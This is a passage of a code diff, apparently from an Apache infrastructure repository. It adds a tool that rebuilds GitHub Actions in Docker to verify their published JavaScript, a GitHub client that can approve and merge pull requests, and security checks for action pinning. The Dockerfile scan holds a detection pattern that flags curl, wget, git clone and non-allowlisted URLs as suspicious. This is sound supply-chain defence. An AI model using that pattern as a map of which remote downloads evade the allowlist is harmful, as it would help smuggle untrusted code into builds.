"cp", + f"{container_name}:/original-dist/.", + str(original_dir), + ], + capture_output=True, + ) + + run( + [ + "docker", + "cp", + f"{container_name}:/rebuilt-dist/.", + str(rebuilt_dir), + ], + capture_output=True, + ) + console.print(" [green]✓[/green] Artifacts extracted") + + out_dir_result = subprocess.run( + ["docker", "cp", f"{container_name}:/out-dir.txt", str(work_dir / "out-dir.txt")], + capture_output=True, + ) + out_dir_name = "dist" + if out_dir_result.returncode == 0: + out_dir_name = (work_dir / "out-dir.txt").read_text().strip() or "dist" + if out_dir_name != "dist": + console.print(f" [green]✓[/green] Detected output directory: [bold]{out_dir_name}/[/bold]") + + deleted_log = subprocess.run( + ["docker", "cp", f"{container_name}:/deleted-js.log", str(work_dir / "deleted-js.log")], + capture_output=True, + ) + if deleted_log.returncode == 0: + log_content = (work_dir / "deleted-js.log").read_text().strip() + if log_content.startswith("no ") and log_content.endswith(" directory"): + console.print(f" [yellow]![/yellow] No {out_dir_name}/ directory found before rebuild") + else: + deleted_files = [l for l in log_content.splitlines() if l.strip()] + console.print(f" [green]✓[/green] Deleted {len(deleted_files)} compiled JS file(s) before rebuild:") + for f in deleted_files: + console.print(f" [dim]- {f}[/dim]") + + action_type_result = subprocess.run( + ["docker", "cp", f"{container_name}:/action-type.txt", str(work_dir / "action-type.txt")], + capture_output=True, + ) + action_type = "unknown" + if action_type_result.returncode == 0: + action_type = (work_dir / "action-type.txt").read_text().strip() + console.print(f" [green]✓[/green] Action type: [bold]{action_type}[/bold]") + + original_node_modules = work_dir / "original-node-modules" + rebuilt_node_modules = work_dir / "rebuilt-node-modules" + original_node_modules.mkdir(exist_ok=True) + rebuilt_node_modules.mkdir(exist_ok=True) + has_node_modules = False + + has_nm_result = subprocess.run( + ["docker", "cp", f"{container_name}:/has-node-modules.txt", + str(work_dir / "has-node-modules.txt")], + capture_output=True, + ) + if has_nm_result.returncode == 0: + has_node_modules = (work_dir / "has-node-modules.txt").read_text().strip() == "true" + + if has_node_modules: + status.update("[bold blue]Extracting node_modules artifacts...[/bold blue]") + run( + ["docker", "cp", f"{container_name}:/original-node-modules/.", + str(original_node_modules)], + capture_output=True, + ) + run( + ["docker", "cp", f"{container_name}:/rebuilt-node-modules/.", + str(rebuilt_node_modules)], + capture_output=True, + ) + console.print(" [green]✓[/green] Vendored node_modules detected and extracted") + finally: + status.update("[bold blue]Cleaning up Docker resources...[/bold blue]") + subprocess.run( + ["docker", "rm", "-f", container_name], + capture_output=True, + ) + subprocess.run( + ["docker", "rmi", "-f", image_tag], + capture_output=True, + ) + console.print(" [green]✓[/green] Cleanup complete") + + return (original_dir, rebuilt_dir, action_type, out_dir_name, + has_node_modules, original_node_modules, rebuilt_node_modules) diff --git a/utils/verify_action_build/dockerfiles/build_action.Dockerfile b/utils/verify_action_build/dockerfiles/build_action.Dockerfile new file mode 100644 index 00000000..59c615c5 --- /dev/null +++ b/utils/verify_action_build/dockerfiles/build_action.Dockerfile @@ -0,0 +1,187 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +# Dockerfile for rebuilding a GitHub Action's compiled JavaScript +# in an isolated container. Used by verify-action-build to compare +# published dist/ output against a from-scratch rebuild. + +ARG NODE_VERSION=20 +FROM node:${NODE_VERSION}-slim + +RUN apt-get update && apt-get install -y git && rm -rf /var/lib/apt/lists/* +RUN corepack enable + +WORKDIR /action + +ARG REPO_URL +ARG COMMIT_HASH + +RUN git clone "$REPO_URL" . && git checkout "$COMMIT_HASH" + +# Detect action type from action.yml or action.yaml. +# For monorepo sub-actions (SUB_PATH set), check /action.yml first, +# falling back to the root action.yml. +ARG SUB_PATH="" +RUN if [ -n "$SUB_PATH" ] && [ -f "$SUB_PATH/action.yml" ]; then \ + ACTION_FILE="$SUB_PATH/action.yml"; \ + elif [ -n "$SUB_PATH" ] && [ -f "$SUB_PATH/action.yaml" ]; then \ + ACTION_FILE="$SUB_PATH/action.yaml"; \ + else \ + ACTION_FILE=$(ls action.yml action.yaml 2>/dev/null | head -1); \ + fi; \ + if [ -n "$ACTION_FILE" ]; then \ + grep -E '^\s+using:' "$ACTION_FILE" | head -1 | sed 's/.*using:\s*//' | tr -d "'\"" > /action-type.txt; \ + MAIN_PATH=$(grep -E '^\s+main:' "$ACTION_FILE" | head -1 | sed 's/.*main:\s*//' | tr -d "'\" "); \ + echo "$MAIN_PATH" > /main-path.txt; \ + else \ + echo "unknown" > /action-type.txt; \ + echo "" > /main-path.txt; \ + fi + +# Detect the output directory from the main: path. +# For monorepo actions the main: field may use relative paths like ../dist/sub/main/index.js +# Resolve relative to the sub-action directory to get the actual repo-root-relative path. +RUN MAIN_PATH=$(cat /main-path.txt); \ + OUT_DIR="dist"; \ + if [ -n "$MAIN_PATH" ] && [ -n "$SUB_PATH" ]; then \ + RESOLVED=$(cd "$SUB_PATH" 2>/dev/null && realpath --relative-to=/action "$MAIN_PATH" 2>/dev/null || echo ""); \ + if [ -n "$RESOLVED" ]; then \ + OUT_DIR=$(echo "$RESOLVED" | cut -d'/' -f1); \ + fi; \ + elif [ -n "$MAIN_PATH" ]; then \ + DIR_PART=$(echo "$MAIN_PATH" | sed 's|/[^/]*$||'); \ + if [ "$DIR_PART" != "$MAIN_PATH" ] && [ -n "$DIR_PART" ]; then \ + OUT_DIR=$(echo "$DIR_PART" | cut -d'/' -f1); \ + fi; \ + fi; \ + echo "$OUT_DIR" > /out-dir.txt + +# Save original output files before rebuild +RUN OUT_DIR=$(cat /out-dir.txt); \ + if [ -d "$OUT_DIR" ]; then cp -r "$OUT_DIR" /original-dist; else mkdir /original-dist; fi + +# Detect if node_modules/ is committed (vendored dependencies pattern) +RUN if [ -d "node_modules" ]; then \ + echo "true" > /has-node-modules.txt; \ + cp -r node_modules /original-node-modules; \ + else \ + echo "false" > /has-node-modules.txt; \ + mkdir /original-node-modules; \ + fi + +# Delete compiled JS from output dir before rebuild to ensure a clean build +RUN OUT_DIR=$(cat /out-dir.txt); \ + if [ -d "$OUT_DIR" ]; then find "$OUT_DIR" -name '*.js' -print -delete > /deleted-js.log 2>&1; else echo "no $OUT_DIR/ directory" > /deleted-js.log; fi + +# Detect the build directory — where package.json lives. +# Some repos (e.g. gradle/actions) keep sources in a subdirectory with its own package.json. +# Also check for a root-level build script (e.g. a 'build' shell script). +RUN BUILD_DIR="."; \ + if [ ! -f package.json ]; then \ + for candidate in sources src; do \ + if [ -f "$candidate/package.json" ]; then \ + BUILD_DIR="$candidate"; \ + break; \ + fi; \ + done; \ + fi; \ + echo "$BUILD_DIR" > /build-dir.txt + +# For actions with vendored node_modules, delete and reinstall with --production +# before the normal build step (which will also install devDeps for building). +RUN if [ "$(cat /has-node-modules.txt)" = "true" ]; then \ + rm -rf node_modules && \ + BUILD_DIR=$(cat /build-dir.txt) && \ + cd "$BUILD_DIR" && \ + if [ -f yarn.lock ]; then \ + corepack prepare --activate 2>/dev/null; \ + yarn install --production 2>/dev/null || yarn install 2>/dev/null || true; \ + echo "node_modules-reinstall: yarn --production (in $BUILD_DIR)" >> /build-info.log; \ + elif [ -f pnpm-lock.yaml ]; then \ + corepack prepare --activate 2>/dev/null; \ + pnpm install --prod 2>/dev/null || pnpm install 2>/dev/null || true; \ + echo "node_modules-reinstall: pnpm --prod (in $BUILD_DIR)" >> /build-info.log; \ + else \ + npm ci --production 2>/dev/null || npm install --production 2>/dev/null || true; \ + echo "node_modules-reinstall: npm --production (in $BUILD_DIR)" >> /build-info.log; \ + fi && \ + cd /action && \ + cp -r node_modules /rebuilt-node-modules; \ + else \ + mkdir /rebuilt-node-modules; \ + fi + +# Detect and install with the correct package manager (in the build directory) +RUN BUILD_DIR=$(cat /build-dir.txt); \ + cd "$BUILD_DIR" && \ + if [ -f yarn.lock ]; then \ + corepack prepare --activate 2>/dev/null; \ + yarn install 2>/dev/null || true; \ + echo "pkg-manager: yarn (in $BUILD_DIR)" >> /build-info.log; \ + elif [ -f pnpm-lock.yaml ]; then \ + corepack prepare --activate 2>/dev/null; \ + pnpm install 2>/dev/null || true; \ + echo "pkg-manager: pnpm (in $BUILD_DIR)" >> /build-info.log; \ + else \ + npm ci 2>/dev/null || npm install 2>/dev/null || true; \ + echo "pkg-manager: npm (in $BUILD_DIR)" >> /build-info.log; \ + fi + +# Detect which run command to use (in the build directory) +RUN BUILD_DIR=$(cat /build-dir.txt); \ + cd "$BUILD_DIR" && \ + if [ -f yarn.lock ]; then \ + echo "yarn" > /run-cmd; \ + elif [ -f pnpm-lock.yaml ]; then \ + echo "pnpm" > /run-cmd; \ + else \ + echo "npm" > /run-cmd; \ + fi + +# Build: first try a root-level build script (some repos like gradle/actions use one), +# then try npm/yarn/pnpm build in the build directory, then package, then start, then ncc fallback. +# If the build directory is a subdirectory, copy its output dir to root afterwards. +RUN OUT_DIR=$(cat /out-dir.txt); \ + BUILD_DIR=$(cat /build-dir.txt); \ + RUN_CMD=$(cat /run-cmd); \ + BUILD_DONE=false; \ + if [ -x build ] && ./build dist 2>/dev/null; then \ + echo "build-step: ./build dist" >> /build-info.log; \ + if [ -d "$OUT_DIR" ] && find "$OUT_DIR" -name '*.js' -print -quit | grep -q .; then BUILD_DONE=true; fi; \ + fi && \ + if [ "$BUILD_DONE" = "false" ]; then \ + cd "$BUILD_DIR" && \ + if $RUN_CMD run build 2>/dev/null; then \ + echo "build-step: $RUN_CMD run build (in $BUILD_DIR)" >> /build-info.log; \ + elif $RUN_CMD run package 2>/dev/null; then \ + echo "build-step: $RUN_CMD run package (in $BUILD_DIR)" >> /build-info.log; \ + elif $RUN_CMD run start 2>/dev/null; then \ + echo "build-step: $RUN_CMD run start (in $BUILD_DIR)" >> /build-info.log; \ + elif npx ncc build --source-map 2>/dev/null; then \ + echo "build-step: npx ncc build --source-map (in $BUILD_DIR)" >> /build-info.log; \ + fi && \ + cd /action && \ + if [ "$BUILD_DIR" != "." ] && [ -d "$BUILD_DIR/$OUT_DIR" ] && [ ! -d "$OUT_DIR" ]; then \ + cp -r "$BUILD_DIR/$OUT_DIR" "$OUT_DIR"; \ + echo "copied $BUILD_DIR/$OUT_DIR -> $OUT_DIR" >> /build-info.log; \ + fi; \ + if [ -d "$OUT_DIR" ] && find "$OUT_DIR" -name '*.js' -print -quit | grep -q .; then BUILD_DONE=true; fi; \ + fi + +# Save rebuilt output files +RUN OUT_DIR=$(cat /out-dir.txt); \ + if [ -d "$OUT_DIR" ]; then cp -r "$OUT_DIR" /rebuilt-dist; else mkdir /rebuilt-dist; fi diff --git a/utils/verify_action_build/github_client.py b/utils/verify_action_build/github_client.py new file mode 100644 index 00000000..f11d3366 --- /dev/null +++ b/utils/verify_action_build/github_client.py @@ -0,0 +1,246 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""GitHub API client — supports both ``gh`` CLI and the REST API via requests.""" + +import json +import re +import subprocess +from pathlib import Path + +import requests + +GITHUB_API = "https://api.github.com" + + +def _detect_repo() -> str: + """Detect the GitHub repo from the git remote origin URL.""" + result = subprocess.run( + ["git", "remote", "get-url", "origin"], + capture_output=True, text=True, + cwd=Path(__file__).resolve().parent.parent.parent, + ) + if result.returncode == 0: + url = result.stdout.strip() + match = re.search(r"github\.com[:/](.+?)(?:\.git)?$", url) + if match: + return match.group(1) + return "apache/infrastructure-actions" + + +class GitHubClient: + """Abstraction over GitHub API — uses either gh CLI or requests with a token.""" + + def __init__(self, token: str | None = None, repo: str | None = None): + self.repo = repo or _detect_repo() + self.token = token + self._use_requests = token is not None + + def _headers(self) -> dict: + return { + "Authorization": f"token {self.token}", + "Accept": "application/vnd.github+json", + } + + def _gh_api(self, endpoint: str) -> dict | list | None: + """Call gh api and return parsed JSON, or None on failure.""" + result = subprocess.run( + ["gh", "api", endpoint], + capture_output=True, text=True, + ) + if result.returncode == 0 and result.stdout.strip(): + return json.loads(result.stdout) + return None + + def _get(self, endpoint: str) -> dict | list | None: + """GET from GitHub API using requests or gh CLI.""" + if self._use_requests: + resp = requests.get(f"{GITHUB_API}/{endpoint}", headers=self._headers()) + if resp.ok: + return resp.json() + return None + return self._gh_api(endpoint) + + def get_commit_pulls(self, owner: str, repo: str, commit_sha: str) -> list[dict]: + """Get PRs associated with a commit.""" + data = self._get(f"repos/{owner}/{repo}/commits/{commit_sha}/pulls") + return data if isinstance(data, list) else [] + + def compare_commits(self, owner: str, repo: str, base: str, head: str) -> list[dict]: + """Get commits between two refs.""" + data = self._get(f"repos/{owner}/{repo}/compare/{base}...{head}") + if isinstance(data, dict): + return data.get("commits", []) + return [] + + def get_pr_diff(self, pr_number: int) -> str | None: + """Get the diff for a PR.""" + if self._use_requests: + resp = requests.get( + f"{GITHUB_API}/repos/{self.repo}/pulls/{pr_number}", + headers={**self._headers(), "Accept": "application/vnd.github.v3.diff"}, + ) + return resp.text if resp.ok else None + result = subprocess.run( + ["gh", "pr", "diff", str(pr_number)], + capture_output=True, text=True, + ) + return result.stdout if result.returncode == 0 else None + + def get_authenticated_user(self) -> str: + """Get the login of the authenticated user.""" + if self._use_requests: + resp = requests.get(f"{GITHUB_API}/user", headers=self._headers()) + if resp.ok: + return resp.json().get("login", "unknown") + return "unknown" + result = subprocess.run( + ["gh", "api", "user", "--jq", ".login"], + capture_output=True, text=True, + ) + return result.stdout.strip() if result.returncode == 0 else "unknown" + + def list_open_prs(self, author: str = "app/dependabot") -> list[dict]: + """List open PRs by author with status check info.""" + if self._use_requests: + prs = [] + page = 1 + while True: + resp = requests.get( + f"{GITHUB_API}/repos/{self.repo}/pulls", + headers=self._headers(), + params={"state": "open", "per_page": 50, "page": page}, + ) + if not resp.ok: + break + batch = resp.json() + if not batch: + break + for pr in batch: + pr_login = pr.get("user", {}).get("login", "") + if author.startswith("app/"): + expected = author.split("/", 1)[1] + "[bot]" + if pr_login != expected: + continue + elif pr_login != author: + continue + prs.append({ + "number": pr["number"], + "title": pr["title"], + "headRefName": pr["head"]["ref"], + "url": pr["html_url"], + "reviewDecision": self._get_review_decision(pr["number"]), + "statusCheckRollup": self._get_status_checks(pr["head"]["sha"]), + }) + page += 1 + return prs + result = subprocess.run( + [ + "gh", "pr", "list", + "--author", author, + "--state", "open", + "--json", "number,title,headRefName,url,reviewDecision,statusCheckRollup", + "--limit", "50", + ], + capture_output=True, text=True, + ) + if result.returncode == 0 and result.stdout.strip(): + return json.loads(result.stdout) + return [] + + def _get_review_decision(self, pr_number: int) -> str | None: + """Get the review decision for a PR via GraphQL.""" + resp = requests.post( + f"{GITHUB_API}/graphql", + headers=self._headers(), + json={ + "query": """query($owner:String!, $repo:String!, $number:Int!) { + repository(owner:$owner, name:$repo) { + pullRequest(number:$number) { reviewDecision } + } + }""", + "variables": { + "owner": self.repo.split("/")[0], + "repo": self.repo.split("/")[1], + "number": pr_number, + }, + }, + ) + if resp.ok: + data = resp.json() + return ( + data.get("data", {}) + .get("repository", {}) + .get("pullRequest", {}) + .get("reviewDecision") + ) + return None + + def _get_status_checks(self, sha: str) -> list[dict]: + """Get combined status checks for a commit SHA.""" + data = self._get(f"repos/{self.repo}/commits/{sha}/check-runs") + if isinstance(data, dict): + return [ + { + "name": cr.get("name"), + "conclusion": (cr.get("conclusion") or "").upper(), + "status": (cr.get("status") or "").upper(), + } + for cr in data.get("check_runs", []) + ] + return [] + + def approve_pr(self, pr_number: int, comment: str) -> bool: + """Approve a PR with a review comment.""" + if self._use_requests: + resp = requests.post( + f"{GITHUB_API}/repos/{self.repo}/pulls/{pr_number}/reviews", + headers=self._headers(), + json={"body": comment, "event": "APPROVE"}, + ) + return resp.ok + result = subprocess.run( + ["gh", "pr", "review", str(pr_number), "--approve", "--body", comment], + capture_output=True, text=True, + ) + return result.returncode == 0 + + def merge_pr(self, pr_number: int) -> tuple[bool, str]: + """Merge a PR and delete the branch. Returns (success, error_msg).""" + if self._use_requests: + resp = requests.put( + f"{GITHUB_API}/repos/{self.repo}/pulls/{pr_number}/merge", + headers=self._headers(), + json={"merge_method": "merge"}, + ) + if not resp.ok: + return False, resp.text + pr_data = self._get(f"repos/{self.repo}/pulls/{pr_number}") + if isinstance(pr_data, dict): + branch = pr_data.get("head", {}).get("ref") + if branch: + requests.delete( + f"{GITHUB_API}/repos/{self.repo}/git/refs/heads/{branch}", + headers=self._headers(), + ) + return True, "" + result = subprocess.run( + ["gh", "pr", "merge", str(pr_number), "--merge", "--delete-branch"], + capture_output=True, text=True, + ) + return result.returncode == 0, result.stderr.strip() diff --git a/utils/verify_action_build/pr_extraction.py b/utils/verify_action_build/pr_extraction.py new file mode 100644 index 00000000..534aee70 --- /dev/null +++ b/utils/verify_action_build/pr_extraction.py @@ -0,0 +1,88 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""Extracting action references from PR diffs.""" + +import re + +from .github_client import GitHubClient + + +def extract_action_refs_from_pr(pr_number: int, gh: GitHubClient | None = None) -> list[str]: + """Extract all new action org/repo[/sub]@hash refs from a PR diff. + + Looks in two places: + 1. Workflow files: ``uses: org/repo@hash`` lines + 2. actions.yml: top-level ``org/repo:`` keys followed by indented commit hashes + + Returns a deduplicated list of action references found in added lines. + """ + if gh is None: + return [] + diff_text = gh.get_pr_diff(pr_number) + if not diff_text: + return [] + + return extract_action_refs_from_diff(diff_text) + + +def extract_action_refs_from_diff(diff_text: str) -> list[str]: + """Extract action refs from a unified diff string. + + This is the pure-logic core of PR extraction, separated for testability. + """ + seen: set[str] = set() + refs: list[str] = [] + + actions_yml_key: str | None = None + + for line in diff_text.splitlines(): + # Workflow files: uses: org/repo@hash + match = re.search(r"^\+.*uses?:\s+([^@\s]+)@([0-9a-f]{40})", line) + if match: + action_path = match.group(1) + commit_hash = match.group(2) + ref = f"{action_path}@{commit_hash}" + if ref not in seen: + seen.add(ref) + refs.append(ref) + continue + + # actions.yml: org/repo: as top-level key + key_match = re.match(r"^\+([a-zA-Z0-9_.-]+/[a-zA-Z0-9_./-]+):\s*$", line) + if key_match: + actions_yml_key = key_match.group(1).rstrip("/") + continue + + # Match indented hash under the current key + if actions_yml_key: + hash_match = re.match(r"^\+\s+['\"]?([0-9a-f]{40})['\"]?:\s*$", line) + if hash_match: + commit_hash = hash_match.group(1) + ref = f"{actions_yml_key}@{commit_hash}" + if ref not in seen: + seen.add(ref) + refs.append(ref) + continue + + if re.match(r"^\+\s{4,}", line): + continue + + actions_yml_key = None + + return refs diff --git a/utils/verify_action_build/security.py b/utils/verify_action_build/security.py new file mode 100644 index 00000000..85d9f2ca --- /dev/null +++ b/utils/verify_action_build/security.py @@ -0,0 +1,711 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""Security analysis checks for GitHub Actions.""" + +import json +import re + +from .console import console, link +from .github_client import GitHubClient +from .action_ref import ( + fetch_action_yml, + fetch_file_from_github, + extract_composite_uses, + detect_action_type_from_yml, +) +from .approved_actions import find_approved_versions + + +def analyze_nested_actions( + org: str, repo: str, commit_hash: str, sub_path: str = "", + ci_mode: bool = False, gh: GitHubClient | None = None, + _depth: int = 0, _visited: set | None = None, + _checked: list | None = None, +) -> tuple[list[str], list[dict]]: + """Analyze actions referenced in composite steps, recursing into ALL types. + + Returns (warnings, checked_actions) where checked_actions is a list of dicts + describing each nested action that was inspected (for the summary). + """ + MAX_DEPTH = 3 + warnings: list[str] = [] + + if _visited is None: + _visited = set() + if _checked is None: + _checked = [] + + action_key = f"{org}/{repo}/{sub_path}@{commit_hash}" + if action_key in _visited: + return warnings, _checked + _visited.add(action_key) + + indent = " " * (_depth + 1) + + action_yml = fetch_action_yml(org, repo, commit_hash, sub_path) + if not action_yml: + warnings.append(f"Could not fetch action.yml for {org}/{repo}@{commit_hash[:12]}") + return warnings, _checked + + uses_refs = extract_composite_uses(action_yml) + if not uses_refs: + return warnings, _checked + + if _depth == 0: + console.print() + console.rule("[bold]Nested Action Analysis[/bold]") + + for ref_info in uses_refs: + raw = ref_info["raw"] + line = ref_info["line_num"] + + if ref_info.get("is_local"): + console.print(f"{indent}[dim]line {line}:[/dim] [cyan]{raw}[/cyan] [dim](local action)[/dim]") + _checked.append({ + "action": raw, "type": "local", "pinned": True, + "approved": True, "status": "ok", + }) + continue + + if ref_info.get("is_docker"): + console.print(f"{indent}[dim]line {line}:[/dim] [cyan]{raw}[/cyan] [dim](docker reference)[/dim]") + _checked.append({ + "action": raw, "type": "docker-ref", "pinned": True, + "approved": True, "status": "ok", + }) + continue + + r_org, r_repo, r_sub = ref_info["org"], ref_info["repo"], ref_info["sub_path"] + ref_str = ref_info["ref"] + display_name = f"{r_org}/{r_repo}" + if r_sub: + display_name += f"/{r_sub}" + + checked_entry: dict = { + "action": display_name, "ref": ref_str, + "pinned": ref_info["is_hash_pinned"], + "approved": False, "type": "unknown", "status": "ok", + "depth": _depth + 1, + } + + if ref_info["is_hash_pinned"]: + approved = find_approved_versions(r_org, r_repo) + approved_hashes = {v["hash"] for v in approved} + is_approved = ref_str in approved_hashes + checked_entry["approved"] = is_approved + + tag_comment = "" + for yml_line in action_yml.splitlines(): + if ref_str in yml_line and "#" in yml_line: + tag_comment = yml_line.split("#", 1)[1].strip() + break + checked_entry["tag"] = tag_comment + + if is_approved: + console.print( + f"{indent}[dim]line {line}:[/dim] [green]✓[/green] " + f"[link=https://github.com/{r_org}/{r_repo}/commit/{ref_str}]{display_name}@{ref_str[:12]}[/link] " + f"[green](hash-pinned, in our approved list)[/green]" + ) + else: + tag_display = f" [dim]# {tag_comment}[/dim]" if tag_comment else "" + console.print( + f"{indent}[dim]line {line}:[/dim] [green]✓[/green] " + f"[link=https://github.com/{r_org}/{r_repo}/commit/{ref_str}]{display_name}@{ref_str[:12]}[/link]" + f"{tag_display} [yellow](hash-pinned, NOT in our approved list)[/yellow]" + ) + warnings.append( + f"Nested action {display_name}@{ref_str[:12]} is not in our approved actions list" + ) + checked_entry["status"] = "warn" + + TRUSTED_ORGS = {"actions", "github"} + is_trusted = r_org in TRUSTED_ORGS + checked_entry["trusted"] = is_trusted + + if _depth < MAX_DEPTH: + nested_yml = fetch_action_yml(r_org, r_repo, ref_str, r_sub) + if nested_yml: + nested_type = detect_action_type_from_yml(nested_yml) + checked_entry["type"] = nested_type + + if is_trusted: + console.print( + f"{indent} [dim]↳ {nested_type} action " + f"(trusted org '{r_org}' — skipping deep inspection)[/dim]" + ) + elif nested_type == "composite": + console.print( + f"{indent} [dim]↳ {nested_type} action — analyzing nested steps...[/dim]" + ) + nested_warnings, _ = analyze_nested_actions( + r_org, r_repo, ref_str, r_sub, + ci_mode=ci_mode, gh=gh, + _depth=_depth + 1, _visited=_visited, + _checked=_checked, + ) + warnings.extend(nested_warnings) + elif nested_type.startswith("node"): + node_ver = nested_type.replace("node", "") + has_dist = False + main_path = "" + for yml_line in nested_yml.splitlines(): + main_m = re.match(r"\s+main:\s*['\"]?(\S+?)['\"]?\s*$", yml_line) + if main_m: + main_path = main_m.group(1) + break + if main_path: + main_check = fetch_file_from_github(r_org, r_repo, ref_str, main_path) + has_dist = main_check is not None + else: + dist_check = fetch_file_from_github(r_org, r_repo, ref_str, "dist/index.js") + has_dist = dist_check is not None + if has_dist: + dist_status = f"[green]has {main_path or 'dist/'}[/green]" + else: + dist_status = "[dim]no compiled JS found[/dim]" + console.print( + f"{indent} [dim]↳ {nested_type} action (Node.js {node_ver}), {dist_status}[/dim]" + ) + nested_uses = extract_composite_uses(nested_yml) + if nested_uses: + console.print( + f"{indent} [dim]↳ node action also references " + f"{len(nested_uses)} other action(s) — inspecting...[/dim]" + ) + nested_warnings, _ = analyze_nested_actions( + r_org, r_repo, ref_str, r_sub, + ci_mode=ci_mode, gh=gh, + _depth=_depth + 1, _visited=_visited, + _checked=_checked, + ) + warnings.extend(nested_warnings) + elif nested_type == "docker": + for yml_line in nested_yml.splitlines(): + img_m = re.search(r"image:\s*['\"]?(\S+?)['\"]?\s*$", yml_line.strip()) + if img_m: + image = img_m.group(1) + if image.startswith("Dockerfile") or image.startswith("./"): + console.print( + f"{indent} [dim]↳ docker action (local Dockerfile)[/dim]" + ) + elif "@sha256:" in image: + console.print( + f"{indent} [dim]↳ docker action, image digest-pinned[/dim]" + ) + else: + console.print( + f"{indent} [dim]↳ docker action, image: {image}[/dim]" + ) + break + else: + console.print( + f"{indent} [dim]↳ {nested_type} action[/dim]" + ) + else: + console.print( + f"{indent}[dim]line {line}:[/dim] [red]✗[/red] " + f"{display_name}@{ref_str} [red bold](NOT hash-pinned — uses tag/branch!)[/red bold]" + ) + warnings.append( + f"Nested action {display_name}@{ref_str} is NOT pinned to a commit hash" + ) + checked_entry["status"] = "fail" + + _checked.append(checked_entry) + + return warnings, _checked + + +def analyze_dockerfile( + org: str, repo: str, commit_hash: str, sub_path: str = "", +) -> list[str]: + """Analyze Dockerfiles in the action for security concerns.""" + warnings: list[str] = [] + + candidates = ["Dockerfile"] + if sub_path: + candidates.insert(0, f"{sub_path}/Dockerfile") + + found_dockerfile = False + for path in candidates: + content = fetch_file_from_github(org, repo, commit_hash, path) + if content is None: + continue + found_dockerfile = True + + console.print() + console.rule(f"[bold]Dockerfile Analysis ({path})[/bold]") + + lines = content.splitlines() + from_lines = [] + suspicious_cmds = [] + + for i, line in enumerate(lines, 1): + stripped = line.strip() + if not stripped or stripped.startswith("#"): + continue + + from_match = re.match(r"FROM\s+(.+?)(?:\s+AS\s+\S+)?$", stripped, re.IGNORECASE) + if from_match: + image = from_match.group(1).strip() + from_lines.append((i, image)) + if "@sha256:" in image: + console.print( + f" [green]✓[/green] [dim]line {i}:[/dim] FROM {image} " + f"[green](digest-pinned)[/green]" + ) + elif ":" in image and not image.endswith(":latest"): + tag = image.split(":")[-1] + console.print( + f" [yellow]~[/yellow] [dim]line {i}:[/dim] FROM {image} " + f"[yellow](tag-pinned to '{tag}', but not digest-pinned)[/yellow]" + ) + warnings.append(f"Dockerfile FROM {image} is tag-pinned, not digest-pinned") + else: + console.print( + f" [red]✗[/red] [dim]line {i}:[/dim] FROM {image} " + f"[red bold](unpinned or :latest!)[/red bold]" + ) + warnings.append(f"Dockerfile FROM {image} is not pinned") + continue + + lower = stripped.lower() + if any(cmd in lower for cmd in ["curl ", "wget ", "git clone"]): + if "requirements" not in lower and "pip" not in lower: + suspicious_cmds.append((i, stripped)) + if re.search(r"https?://(?!github\.com|pypi\.org|registry\.npmjs\.org|dl-cdn\.alpinelinux\.org)", lower): + url_match = re.search(r"(https?://\S+)", stripped) + if url_match: + suspicious_cmds.append((i, f"External URL: {url_match.group(1)}")) + + if suspicious_cmds: + console.print() + console.print(" [yellow]Potentially suspicious commands:[/yellow]") + for line_num, cmd in suspicious_cmds: + console.print(f" [dim]line {line_num}:[/dim] [yellow]{cmd}[/yellow]") + warnings.append(f"Dockerfile line {line_num}: {cmd[:80]}") + elif from_lines: + console.print(f" [green]✓[/green] No suspicious commands detected") + + if not found_dockerfile: + action_yml = fetch_action_yml(org, repo, commit_hash, sub_path) + if action_yml: + for line in action_yml.splitlines(): + m = re.search(r"image:\s*['\"]?(docker://\S+)['\"]?", line.strip()) + if m: + console.print() + console.rule("[bold]Docker Image Analysis[/bold]") + image = m.group(1) + console.print(f" [dim]Docker image reference:[/dim] {image}") + if "@sha256:" in image: + console.print(f" [green]✓[/green] Image is digest-pinned") + else: + console.print(f" [yellow]![/yellow] Image is NOT digest-pinned") + warnings.append(f"Docker image {image} is not digest-pinned") + + return warnings + + +def analyze_scripts( + org: str, repo: str, commit_hash: str, sub_path: str = "", +) -> list[str]: + """Analyze scripts referenced by the action for suspicious patterns.""" + warnings: list[str] = [] + action_yml = fetch_action_yml(org, repo, commit_hash, sub_path) + if not action_yml: + return warnings + + script_files: set[str] = set() + + for line in action_yml.splitlines(): + stripped = line.strip() + if "${{" in stripped and "}}" in stripped: + continue + for ext in (".py", ".sh", ".bash", ".rb", ".pl"): + matches = 